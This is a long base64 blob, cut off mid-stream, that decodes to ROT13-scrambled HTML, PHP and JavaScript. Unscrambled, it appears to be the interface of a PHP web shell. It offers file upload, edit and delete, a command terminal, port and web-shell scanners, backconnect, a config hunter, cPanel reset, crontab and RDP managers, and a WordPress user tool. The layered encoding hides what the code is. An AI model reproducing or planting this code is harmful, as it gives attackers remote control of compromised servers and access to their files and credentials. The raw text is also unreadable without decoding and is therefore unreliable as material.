CRfRlJFSVJFWydGUkVJUkVfQU5aUiddKSA/PyAnQS9OJzsgPz48b2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+UXJzbmh5ZyBDYmVnOjwvZmdlYmF0PiAzMzg5PG9lPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0PkFiZ3I6PC9mZ2ViYXQ+IEd1dmYgc3JuZ2hlciBqYmV4ZiBiYXlsIGJhIEp2YXFiamYgZnJlaXJlZg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgIDwvcXZpPg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjwhLS0gUGJhZ3JrZyBacmFoIC0tPg0KPHF2aSBweW5mZj0icGJhZ3JrZy16cmFoIiB2cT0icGJhZ3JrZ1pyYWgiPg0KICAgIDxxdmkgcHluZmY9InBiYWdya2ctenJhaC12Z3J6IiBiYXB5dnB4PSJwYmFncmtnWnJhaE5wZ3ZiYSgnZnJ5cnBnJykiPg0KICAgICAgICA8diBweW5mZj0ic25mIHNuLXB1cnB4Ij48L3Y+IEZyeXJwZw0KICAgIDwvcXZpPg0KICAgIDxxdmkgcHluZmY9InBiYWdya2ctenJhaC12Z3J6IiBiYXB5dnB4PSJwYmFncmtnWnJhaE5wZ3ZiYSgncWJqYXlibnEnKSI+DQogICAgICAgIDx2IHB5bmZmPSJzbmYgc24tcWJqYXlibnEiPjwvdj4gUWJqYXlibnENCiAgICA8L3F2aT4NCiAgICA8cXZpIHB5bmZmPSJwYmFncmtnLXpyYWgtdmdyeiIgYmFweXZweD0icGJhZ3JrZ1pyYWhOcGd2YmEoJ3JxdmcnKSI+DQogICAgICAgIDx2IHB5bmZmPSJzbmYgc24tcnF2ZyI+PC92PiBScXZnDQogICAgPC9xdmk+DQogICAgPHF2aSBweW5mZj0icGJhZ3JrZy16cmFoLXZncnoiIGJhcHl2cHg9InBiYWdya2dacmFoTnBndmJhKCdlcmFuenInKSI+DQogICAgICAgIDx2IHB5bmZmPSJzbmYgc24tdi1waGVmYmUiPjwvdj4gRXJhbnpyDQogICAgPC9xdmk+DQogICAgPHF2aSBweW5mZj0icGJhZ3JrZy16cmFoLXZncnoiIGJhcHl2cHg9InBiYWdya2dacmFoTnBndmJhKCdwdXpicScpIj4NCiAgICAgICAgPHYgcHluZmY9InNuZiBzbi14cmwiPjwvdj4gQ3JlenZmZnZiYWYNCiAgICA8L3F2aT4NCiAgICA8cXZpIHB5bmZmPSJwYmFncmtnLXpyYWgtdmdyeiBxbmF0cmUiIGJhcHl2cHg9InBiYWdya2dacmFoTnBndmJhKCdxcnlyZ3InKSI+DQogICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ2VuZnUiPjwvdj4gUXJ5cmdyDQogICAgPC9xdmk+DQo8L3F2aT4NCg0KPCEtLSBaYnFueWYgLS0+DQo8cXZpIHZxPSJoY3libnFaYnFueSIgcHluZmY9InpicW55Ij4NCiAgICA8cXZpIHB5bmZmPSJ6YnFueS1wYmFncmFnIj4NCiAgICAgICAgPHUzIGZnbHlyPSJ6bmV0dmEtb2JnZ2J6OiAyMGNrOyI+PHYgcHluZmY9InNuZiBzbi1oY3libnEiPjwvdj4gSGN5Ym5xIFN2eXI8L3UzPg0KICAgICAgICA8c2JleiB6cmd1YnE9ImNiZmciIHJhcGdsY3I9InpoeWd2Y25lZy9zYmV6LXFuZ24iPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0ibnBndmJhIiBpbnlocj0iaGN5Ym5xIj4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9InF2ZSIgaW55aHI9Ijw/Y3VjIHJwdWIgdWd6eWZjcnB2bnlwdW5lZigkcGhlZXJhZ19xdmUpOyA/PiI+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0ic3Z5ciIgZmdseXI9InpuZXR2YTogMTVjayAwOyI+DQogICAgICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7IHpuZXR2YS1nYmM6IDIwY2s7Ij4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9ImZob3p2ZyIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24taGN5Ym5xIj48L3Y+IEhjeWJucSBTdnlyDQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXFuYXRyZSIgYmFweXZweD0icHliZnJaYnFueSgnaGN5Ym5xWmJxbnknKSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3Z6cmYiPjwvdj4gUG5hcHJ5DQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjxxdmkgdnE9Inp4cXZlWmJxbnkiIHB5bmZmPSJ6YnFueSI+DQogICAgPHF2aSBweW5mZj0iemJxbnktcGJhZ3JhZyI+DQogICAgICAgIDx1MyBmZ2x5cj0iem5ldHZhLW9iZ2diejogMjBjazsiPjx2IHB5bmZmPSJzbmYgc24tc2J5cXJlLWN5aGYiPjwvdj4gUGVybmdyIEFyaiBTYnlxcmU8L3UzPg0KICAgICAgICA8c2JleiB6cmd1YnE9ImNiZmciPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0ibnBndmJhIiBpbnlocj0ienhxdmUiPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0icXZlIiBpbnlocj0iPD9jdWMgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRwaGVlcmFnX3F2ZSk7ID8+Ij4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJxdmVhbnpyIiBjeW5wcnVieXFyZT0iUmFncmUgc2J5cXJlIGFuenIiIGVyZGh2ZXJxIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgPHF2aSBmZ2x5cj0icXZmY3lubDogc3lyazsgdG5jOiAxMGNrOyB6bmV0dmEtZ2JjOiAyMGNrOyI+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJmaG96dmciIHB5bmZmPSJvZ2Egb2dhLWZocHByZmYiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWN5aGYiPjwvdj4gUGVybmdyIFNieXFyZQ0KICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1xbmF0cmUiIGJhcHl2cHg9InB5YmZyWmJxbnkoJ3p4cXZlWmJxbnknKSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3Z6cmYiPjwvdj4gUG5hcHJ5DQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjxxdmkgdnE9ImFyanN2eXJaYnFueSIgcHluZmY9InpicW55Ij4NCiAgICA8cXZpIHB5bmZmPSJ6YnFueS1wYmFncmFnIj4NCiAgICAgICAgPHUzIGZnbHlyPSJ6bmV0dmEtb2JnZ2J6OiAyMGNrOyI+PHYgcHluZmY9InNuZiBzbi1zdnlyLWN5aGYiPjwvdj4gUGVybmdyIEFyaiBTdnlyPC91Mz4NCiAgICAgICAgPHNiZXogenJndWJxPSJjYmZnIj4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9Im5wZ3ZiYSIgaW55aHI9ImFyanN2eXIiPg0KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0icXZlIiBpbnlocj0iPD9jdWMgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRwaGVlcmFnX3F2ZSk7ID8+Ij4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJzdnlyYW56ciIgY3lucHJ1YnlxcmU9IlJhZ3JlIHN2eXIgYW56ciAoci50LiwgcmtuemN5ci5na2cpIiBlcmRodmVycSBmZ2x5cj0iem5ldHZhOiAxMGNrIDA7Ij4NCiAgICAgICAgICAgIDxncmtnbmVybiBhbnpyPSJzdnlycGJhZ3JhZyIgY3lucHJ1YnlxcmU9IlN2eXIgcGJhZ3JhZyAoYmNndmJhbnkpIiBmZ2x5cj0idXJ2dHVnOiAzMDBjazsgem5ldHZhOiAxMGNrIDA7IHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7Ij48L2dya2duZXJuPg0KICAgICAgICAgICAgPHF2aSBmZ2x5cj0icXZmY3lubDogc3lyazsgdG5jOiAxMGNrOyB6bmV0dmEtZ2JjOiAyMGNrOyI+DQogICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJmaG96dmciIHB5bmZmPSJvZ2Egb2dhLWZocHByZmYiPg0KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ic25mIHNuLWN5aGYiPjwvdj4gUGVybmdyIFN2eXINCiAgICAgICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtcW5hdHJlIiBiYXB5dnB4PSJweWJmclpicW55KCdhcmpzdnlyWmJxbnknKSI+DQogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3Z6cmYiPjwvdj4gUG5hcHJ5DQogICAgICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjxxdmkgdnE9InJxdmdaYnFueSIgcHluZmY9InpicW55Ij4NCiAgICA8cXZpIHB5bmZmPSJ6YnFueS1wYmFncmFnIj4NCiAgICAgICAgPHUzIGZnbHlyPSJ6bmV0dmEtb2JnZ2J6OiAyMGNrOyI+UnF2ZyBTdnlyOiA8ZmNuYSB2cT0icnF2Z1N2eXJBbnpyIj48L2ZjbmE+PC91Mz4NCiAgICAgICAgPHNiZXogdnE9InJxdmdTYmV6Ij4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9InN2eXJjbmd1IiB2cT0icnF2Z1N2eXJDbmd1Ij4NCiAgICAgICAgICAgIDxncmtnbmVybiBhbnpyPSJwYmFncmFnIiB2cT0icnF2Z1N2eXJQYmFncmFnIiBmZ2x5cj0ianZxZ3U6MTAwJTsgdXJ2dHVnOjYwaXU7IG9iZXFyZToxY2sgZmJ5dnEgI3BycTRxbjsgY25xcXZhdDoxNWNrOyBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOyBvbnB4dGViaGFxOiAjc3Nzc3NzOyBwYnliZTogIzAwMDAwMDsgc2JhZy1mdm1yOiAxM2NrOyI+PC9ncmtnbmVybj4NCiAgICAgICAgICAgIDxxdmkgZmdseXI9InF2ZmN5bmw6IHN5cms7IHRuYzogMTBjazsgem5ldHZhLWdiYzogMjBjazsiPg0KICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1maHBwcmZmIiBiYXB5dnB4PSJmbmlyU3Z5cigpIj5GbmlyIFB1bmF0cmY8L29oZ2diYT4NCiAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtcW5hdHJlIiBiYXB5dnB4PSJweWJmclpicW55KCdycXZnWmJxbnknKSI+UG5hcHJ5PC9vaGdnYmE+DQogICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgPC9zYmV6Pg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjwhLS0gTXZjIFN2eXJmIFpicW55IC0tPg0KPHF2aSB2cT0ibXZjWmJxbnkiIHB5bmZmPSJ6YnFueSI+DQogICAgPHF2aSBweW5mZj0iemJxbnktcGJhZ3JhZyI+DQogICAgICAgIDx1MyBmZ2x5cj0iem5ldHZhLW9iZ2diejogMjBjazsiPjx2IHB5bmZmPSJzbmYgc24tc3Z5ci1uZXB1dmlyIj48L3Y+IFBlcm5nciBNdmMgTmVwdXZpcjwvdTM+DQogICAgICAgIDxxdmkgdnE9Im12Y0ZyeXJwZ3JxU3Z5cmYiIGZnbHlyPSJvbnB4dGViaGFxOiAjczhzOXNuOyBjbnFxdmF0OiAxMGNrOyBvYmVxcmUtZW5xdmhmOiA1Y2s7IHpuZXR2YS1vYmdnYno6IDE1Y2s7IHpuay11cnZ0dWc6IDE1MGNrOyBiaXJlc3liai1sOiBuaGdiOyI+PC9xdmk+DQogICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiB2cT0ibXZjQW56ciIgY3lucHJ1YnlxcmU9Ik5lcHV2aXIgYW56ciAoci50Liwgb25weGhjLm12YykiIGlueWhyPSJuZXB1dmlyXzw/Y3VjIHJwdWIgcW5ncignTC16LXEnKTsgPz4ubXZjIiBmZ2x5cj0iem5ldHZhOiAxMGNrIDA7Ij4NCiAgICAgICAgPHF2aSBmZ2x5cj0icXZmY3lubDogc3lyazsgdG5jOiAxMGNrOyB6bmV0dmEtZ2JjOiAyMGNrOyI+DQogICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtZmhwcHJmZiIgYmFweXZweD0icGVybmdyTXZjKCkiPg0KICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tc3Z5ci1uZXB1dmlyIj48L3Y+IFBlcm5nciBNdmMNCiAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLXFuYXRyZSIgYmFweXZweD0icHliZnJaYnFueSgnbXZjWmJxbnknKSI+DQogICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1ndnpyZiI+PC92PiBQbmFwcnkNCiAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICA8L3F2aT4NCiAgICA8L3F2aT4NCjwvcXZpPg0KDQo8IS0tIEhhbXZjIFN2eXIgWmJxbnkgLS0+DQo8cXZpIHZxPSJoYW12Y1picW55IiBweW5mZj0iemJxbnkiPg0KICAgIDxxdmkgcHluZmY9InpicW55LXBiYWdyYWciPg0KICAgICAgICA8dTMgZmdseXI9InpuZXR2YS1vYmdnYno6IDIwY2s7Ij48diBweW5mZj0ic25mIHNuLXJrY25hcS1uZWViamYtbnlnIj48L3Y+IFJrZ2VucGcgTXZjIFN2eXI8L3UzPg0KICAgICAgICA8ZnJ5cnBnIHZxPSJoYW12Y1N2eXJGcnlycGciIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICAgICAgPGJjZ3ZiYSBpbnlocj0iIj4tLSBGcnlycGcgbXZjIHN2eXIgLS08L2JjZ3ZiYT4NCiAgICAgICAgICAgIDw/Y3VjDQogICAgICAgICAgICAkc3Z5cmYgPSBAZnBuYXF2ZSgkcGhlZXJhZ19xdmUpOw0KICAgICAgICAgICAgdnMgKCRzdnlyZikgew0KICAgICAgICAgICAgICAgIHNiZXJucHUgKCRzdnlyZiBuZiAkc3Z5cikgew0KICAgICAgICAgICAgICAgICAgICB2cyAoJHN2eXIgPT0gJy4nIHx8ICRzdnlyID09ICcuLicpIHBiYWd2YWhyOw0KICAgICAgICAgICAgICAgICAgICAkc2h5eWNuZ3UgPSAkcGhlZXJhZ19xdmUgLiAnLycgLiAkc3Z5cjsNCiAgICAgICAgICAgICAgICAgICAgdnMgKCF2Zl9xdmUoJHNoeXljbmd1KSAmJiBjZXJ0X3puZ3B1KCcvXC4obXZjfGduZXx0bXxlbmUpJC92JywgJHN2eXIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBycHViICc8YmNndmJhIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJHNoeXljbmd1KS4nIj4nLnVnenlmY3Jwdm55cHVuZWYoJHN2eXIpLic8L2JjZ3ZiYT4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgPz4NCiAgICAgICAgPC9mcnlycGc+DQogICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiB2cT0iaGFtdmNDbmd1IiBjeW5wcnVieXFyZT0iUmtnZW5wZ3ZiYSBjbmd1IChiY2d2YmFueSkiIGlueWhyPSI8P2N1YyBycHViIHVnenlmY3Jwdm55cHVuZWYoJHBoZWVyYWdfcXZlKTsgPz4iIGZnbHlyPSJ6bmV0dmE6IDEwY2sgMDsiPg0KICAgICAgICA8cXZpIGZnbHlyPSJxdmZjeW5sOiBzeXJrOyB0bmM6IDEwY2s7IHpuZXR2YS1nYmM6IDIwY2s7Ij4NCiAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1maHBwcmZmIiBiYXB5dnB4PSJya2dlbnBnTXZjKCkiPg0KICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tcmtjbmFxLW5lZWJqZi1ueWciPjwvdj4gUmtnZW5wZw0KICAgICAgICAgICAgPC9vaGdnYmE+DQogICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtcW5hdHJlIiBiYXB5dnB4PSJweWJmclpicW55KCdoYW12Y1picW55JykiPg0KICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJzbmYgc24tZ3Z6cmYiPjwvdj4gUG5hcHJ5DQogICAgICAgICAgICA8L29oZ2diYT4NCiAgICAgICAgPC9xdmk+DQogICAgPC9xdmk+DQo8L3F2aT4NCg0KPGZwZXZjZz4NCi8vIFR5Ym9ueSBpbmV2bm95cmYNCnlyZyBwYnp6bmFxVXZmZ2JlbCA9IFdGQkEuY25lZnIoeWJwbnlGZ2JlbnRyLnRyZ1ZncnooJ3BienpuYXFVdmZnYmVsJykgfHwgJ1tdJyk7DQp5cmcgcGhlZXJhZ1V2ZmdiZWxWYXFyayA9IC0xOw0KeXJnIGZyeXJwZ3JxU3Z5cmYgPSBhcmogRnJnKCk7DQp5cmcgcGJhZ3JrZ1pyYWhHbmV0cmcgPSBhaHl5Ow0KDQovLyBWYXZndm55dm1yIGJhIGNudHIgeWJucQ0KcWJwaHpyYWcubnFxUmlyYWdZdmZncmFyZSgnUUJaUGJhZ3JhZ1libnFycScsIHNoYXBndmJhKCkgew0KICAgIHlibnFQZWJhZ25vKCk7DQogICAgaGNxbmdyUGJ6em5hcVV2ZmdiZWxRdmZjeW5sKCk7DQogICAgDQogICAgLy8gU2JwaGYgZ3JlenZhbnkgdmFjaGcganVyYSBncmV6dmFueSBnbm8gdmYgbnBndmlyDQogICAgcGJhZmcgZ3JlenZhbnlWYWNoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdncmV6dmFueVZhY2hnJyk7DQogICAgdnMgKGdyZXp2YW55VmFjaGcpIHsNCiAgICAgICAgZ3JlenZhbnlWYWNoZy5zYnBoZigpOw0KICAgICAgICANCiAgICAgICAgLy8gUmFncmUgeHJsIGdiIHJrcnBoZ3IgcGJ6em5hcQ0KICAgICAgICBncmV6dmFueVZhY2hnLm5xcVJpcmFnWXZmZ3JhcmUoJ3hybGNlcmZmJywgc2hhcGd2YmEocikgew0KICAgICAgICAgICAgdnMgKHIueHJsID09PSAnUmFncmUnKSB7DQogICAgICAgICAgICAgICAgcmtycGhnclBienpuYXEoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICAvLyBOZWViaiBoYy9xYmphIHNiZSBwYnp6bmFxIHV2ZmdiZWwNCiAgICAgICAgZ3JlenZhbnlWYWNoZy5ucXFSaXJhZ1l2ZmdyYXJlKCd4cmxxYmphJywgc2hhcGd2YmEocikgew0KICAgICAgICAgICAgdnMgKHIueHJsID09PSAnTmVlYmpIYycpIHsNCiAgICAgICAgICAgICAgICByLmNlcmlyYWdRcnNuaHlnKCk7DQogICAgICAgICAgICAgICAgYW5pdnRuZ3JVdmZnYmVsKC0xKTsNCiAgICAgICAgICAgIH0gcnlmciB2cyAoci54cmwgPT09ICdOZWVialFiamEnKSB7DQogICAgICAgICAgICAgICAgci5jZXJpcmFnUXJzbmh5ZygpOw0KICAgICAgICAgICAgICAgIGFuaXZ0bmdyVXZmZ2JlbCgxKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSk7DQogICAgfQ0KDQogICAgLy8gUGJhZ3JrZyB6cmFoIHVuYXF5dmF0DQogICAgcWJwaHpyYWcubnFxUmlyYWdZdmZncmFyZSgncGJhZ3JrZ3pyYWgnLCBzaGFwZ3ZiYShyKSB7DQogICAgICAgIHZzIChyLmduZXRyZy5weWJmcmZnKCcuc3Z5ci12Z3J6JykpIHsNCiAgICAgICAgICAgIHIuY2VyaXJhZ1Fyc25oeWcoKTsNCiAgICAgICAgICAgIGZ1YmpQYmFncmtnWnJhaChyKTsNCiAgICAgICAgfQ0KICAgIH0pOw0KDQogICAgcWJwaHpyYWcubnFxUmlyYWdZdmZncmFyZSgncHl2cHgnLCBzaGFwZ3ZiYSgpIHsNCiAgICAgICAgdXZxclBiYWdya2dacmFoKCk7DQogICAgfSk7DQoNCiAgICAvLyBTdnlyIGZyeXJwZ3ZiYSB1bmFxeXZhdA0KICAgIHFicGh6cmFnLm5xcVJpcmFnWXZmZ3JhcmUoJ3B5dnB4Jywgc2hhcGd2YmEocikgew0KICAgICAgICB2cyAoci5nbmV0cmcucHliZnJmZygnLnN2eXItdmdyeicpICYmICFyLmduZXRyZy5weWJmcmZnKCcuc3Z5ci1ucGd2YmFmJykpIHsNCiAgICAgICAgICAgIHBiYWZnIHN2eXJWZ3J6ID0gci5nbmV0cmcucHliZnJmZygnLnN2eXItdmdyeicpOw0KICAgICAgICAgICAgdnMgKHIucGdleVhybCB8fCByLnpyZ25YcmwpIHsNCiAgICAgICAgICAgICAgICAvLyBaaHlndi1mcnlycGcganZndSBQZ2V5L1B6cQ0KICAgICAgICAgICAgICAgIGdidHR5clN2eXJGcnlycGd2YmEoc3Z5clZncnopOw0KICAgICAgICAgICAgfSByeWZyIHZzIChyLmZ1dnNnWHJsKSB7DQogICAgICAgICAgICAgICAgLy8gRW5hdHIgZnJ5cnBnIGp2Z3UgRnV2c2cNCiAgICAgICAgICAgICAgICBmcnlycGdTdnlyRW5hdHIoc3Z5clZncnopOw0KICAgICAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgICAgICAvLyBGdmF0eXIgZnJ5cnBnDQogICAgICAgICAgICAgICAgcHlybmVGcnlycGd2YmEoKTsNCiAgICAgICAgICAgICAgICBnYnR0eXJTdnlyRnJ5cnBndmJhKHN2eXJWZ3J6KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGhjcW5nckZyeXJwZ3ZiYUhWKCk7DQogICAgICAgIH0NCiAgICB9KTsNCn0pOw0KDQovLyBHbm8gZmp2Z3B1dmF0IHNoYXBndmJhZg0Kc2hhcGd2YmEgZnViakpjSGZyZSgpIHsgZmp2Z3B1R25vKCdqY0hmcmUnKTsgfQ0Kc2hhcGd2YmEgZnViakNiZWdGcG5hYXJlKCkgeyBmanZncHVHbm8oJ2NiZWdGcG5hYXJlJyk7IH0NCnNoYXBndmJhIGZ1YmpKcm9mdXJ5eUZwbmFhcmUoKSB7IGZqdmdwdUdubygnanJvZnVyeXlGcG5hYXJlJyk7IH0NCnNoYXBndmJhIGZ1YmpPbnB4cGJhYXJwZygpIHsgZmp2Z3B1R25vKCdvbnB4cGJhYXJwZycpOyB9DQpzaGFwZ3ZiYSBmdWJqUGJhc3Z0VWhhZ3JlKCkgeyBmanZncHVHbm8oJ3BiYXN2dFVoYWdyZScpOyB9DQpzaGFwZ3ZiYSBmdWJqUGNuYXJ5RXJmcmcoKSB7IGZqdmdwdUdubygncGNuYXJ5RXJmcmcnKTsgfQ0Kc2hhcGd2YmEgZnVialBlYmFnbm9abmFudHJlKCkgeyBmanZncHVHbm8oJ3BlYmFnbm8nKTsgfQ0Kc2hhcGd2YmEgZnViakVxY1puYW50cmUoKSB7IGZqdmdwdUdubygnZXFjWm5hbnRyZScpOyB9DQoNCnNoYXBndmJhIGZ1YmpIY3libnEoKSB7DQogICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hjeWJucVpicW55JykuZmdseXIucXZmY3lubCA9ICdveWJweCc7DQp9DQoNCnNoYXBndmJhIGZ1YmpaeHF2ZSgpIHsNCiAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnenhxdmVaYnFueScpLmZnbHlyLnF2ZmN5bmwgPSAnb3licHgnOw0KfQ0KDQpzaGFwZ3ZiYSBmdWJqQXJqU3Z5cigpIHsNCiAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnYXJqc3Z5clpicW55JykuZmdseXIucXZmY3lubCA9ICdveWJweCc7DQp9DQoNCnNoYXBndmJhIGZ1YmpNdmNTdnlyZigpIHsNCiAgICB2cyAoZnJ5cnBncnFTdnlyZi5mdm1yID09PSAwKSBlcmdoZWE7DQogICAgDQogICAgcGJhZmcgc3Z5cll2ZmcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnbXZjRnJ5cnBncnFTdnlyZicpOw0KICAgIHN2eXJZdmZnLnZhYXJlVUdaWSA9ICc8ZmdlYmF0PkZyeXJwZ3JxIHN2eXJmOjwvZmdlYmF0PjxvZT4nICsgDQogICAgICAgIE5lZW5sLnNlYnooZnJ5cnBncnFTdnlyZikuem5jKHN2eXIgPT4gYOKAoiAke3N2eXJ9YCkud2J2YSgnPG9lPicpOw0KICAgIA0KICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdtdmNaYnFueScpLmZnbHlyLnF2ZmN5bmwgPSAnb3licHgnOw0KfQ0KDQpzaGFwZ3ZiYSBmdWJqSGFtdmNTdnlyKCkgew0KICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdoYW12Y1picW55JykuZmdseXIucXZmY3lubCA9ICdveWJweCc7DQp9DQoNCnNoYXBndmJhIHB5YmZyWmJxbnkodnEpIHsNCiAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSh2cSkuZmdseXIucXZmY3lubCA9ICdhYmFyJzsNCn0NCg0Kc2hhcGd2YmEgZmp2Z3B1R25vKGdub0FuenIpIHsNCiAgICAvLyBVdnFyIG55eSBnbm8gcGJhZ3JhZ2YNCiAgICBxYnBoenJhZy5kaHJlbEZyeXJwZ2JlTnl5KCcuZ25vLXBiYWdyYWcnKS5zYmVSbnB1KGdubyA9PiB7DQogICAgICAgIGduby5weW5mZll2ZmcuZXJ6YmlyKCducGd2aXInKTsNCiAgICB9KTsNCiAgICANCiAgICAvLyBFcnpiaXIgbnBndmlyIHB5bmZmIHNlYnogbnl5IGdubyBvaGdnYmFmDQogICAgcWJwaHpyYWcuZGhyZWxGcnlycGdiZU55eSgnLmduby1vaGdnYmEnKS5zYmVSbnB1KG9oZ2diYSA9PiB7DQogICAgICAgIG9oZ2diYS5weW5mZll2ZmcuZXJ6YmlyKCducGd2aXInKTsNCiAgICB9KTsNCiAgICANCiAgICAvLyBGdWJqIGZyeXJwZ3JxIGdubyBwYmFncmFnDQogICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoZ25vQW56cikucHluZmZZdmZnLm5xcSgnbnBndmlyJyk7DQogICAgDQogICAgLy8gTnBndmluZ3IgZnJ5cnBncnEgZ25vIG9oZ2diYQ0KICAgIHJpcmFnLmduZXRyZy5weW5mZll2ZmcubnFxKCducGd2aXInKTsNCiAgICANCiAgICAvLyBTYnBoZiBncmV6dmFueSB2YWNoZyBqdXJhIGZqdmdwdXZhdCBnYiBncmV6dmFueQ0KICAgIHZzIChnbm9BbnpyID09PSAnZ3JlenZhbnknKSB7DQogICAgICAgIGZyZ0d2enJiaGcoKCkgPT4gew0KICAgICAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2dyZXp2YW55VmFjaGcnKS5zYnBoZigpOw0KICAgICAgICB9LCAxMDApOw0KICAgIH0NCn0NCg0KLy8gU3Z5ciBGcnlycGd2YmEgU2hhcGd2YmFmDQpzaGFwZ3ZiYSBnYnR0eXJTdnlyRnJ5cnBndmJhKHN2eXJWZ3J6KSB7DQogICAgcGJhZmcgc3Z5ckFuenIgPSBzdnlyVmdyei5xbmduZnJnLnN2eXI7DQogICAgdnMgKGZyeXJwZ3JxU3Z5cmYudW5mKHN2eXJBbnpyKSkgew0KICAgICAgICBmcnlycGdycVN2eXJmLnFyeXJncihzdnlyQW56cik7DQogICAgICAgIHN2eX